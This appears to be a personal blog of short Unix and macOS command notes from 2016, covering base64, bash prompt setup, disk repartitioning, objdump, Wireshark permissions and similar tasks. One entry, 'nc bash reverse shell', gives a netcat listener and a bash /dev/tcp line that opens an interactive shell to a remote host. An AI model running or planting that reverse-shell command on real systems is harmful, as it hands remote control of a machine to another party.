Dec 5, 2016

How to operate with base64

Encode file:
$ base64 message.file > message.file.base64

Decode file:
$ base64 --decode message.file.base64 > message.file

Encode string:
$ echo "open message" | base64 > message.base64

Decode string:
$ echo "b3BlbiBtZXNzYWdlCg==" | base64 --decode > message.file

How to modify text files

Remove newline (\n) character:
$ tr -d "\n" < file.original > file.new

Replace newline (\n) character:
$ tr "\n" " " < file.original > file.new

Aug 15, 2016

bash prompt setup

Mac: ~/.bash_profile

Ubuntu: ~/.bashrc


export PATH="$PATH:$HOME/.rvm/bin"
source ~/.rvm/scripts/rvm

parse_git_branch() {
     git branch 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/ (\1)/'

}

export PS1="\[\033[36m\]\u@\h \[\033[32m\]\W\[\033[33m\]\$(parse_git_branch)\[\033[00m\] $ "

Aug 13, 2016

ruby hex to dec and dec to hex

$ irb

irb(main):001:0> "ff".to_i 16
=> 255

irb(main):004:0> 255.to_s 16
=> "ff"

irb(main):007:0> "ff".hex
=> 255


bash color

export PS1="\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ "
export CLICOLOR=1
export LSCOLORS=ExFxBxDxCxegedabagacad

alias ll='ls -lah'

alias cl='clear'

vim syntax color

echo "syntax on" > ~/.vimrc

Jul 13, 2016

flash disk recovery

$ sudo fdisk -l

$ sudo fdisk /dev/sdc

> d (delete partitions)
> n (new partition - primary)
> w (write changes)

$ sudo lsblk /dev/sdc1

$ sudo mkfs.vfat /dev/sdc1

$ sudo eject /dev/sdc

Jul 9, 2016

extract subtitles from mkv

$ brew install mkvtoolnix

$ mkvmerge -i <file>

$ mkvextract tracks <file> 3:sub3.srt 4:sub4.srt

Jul 8, 2016

nc bash reverse shell

attacker:
$  nc -n -vv -l -p <port>

victim:
$ /bin/bash -i > /dev/tcp/<ip>/<port> 0<&1 2>&1

May 24, 2016

objdump tool


Install the command line tools:
$ brew install binutils

Print out shared library dependencies:
$ otool -L <file> ( ldd <file> )

Disassemble the text section:
$ otool -tV ( objdump -j .text -d <file> )

Dump the contents of the data section:
$ otool -dv <file> ( objdump -j .data -s <file> )

Mar 10, 2016

bash head tail

get a header:

$ cat myfile | head -c 1024 > file.new

get a header with offset:

$ cat myfile | tail -c +4096 | head -c 1024 > test.new

Feb 17, 2016

wireshark

Installation: sudo apt-get install wireshark

Problem: "There are no interfaces on which a capture can be done."

Solution:

sudo groupadd wireshark
sudo usermod -a -G wireshark $USER
sudo chgrp wireshark /usr/bin/dumpcap
sudo chmod 755 /usr/bin/dumpcap
sudo setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap

Kubernetes

kubectl installation $ curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl...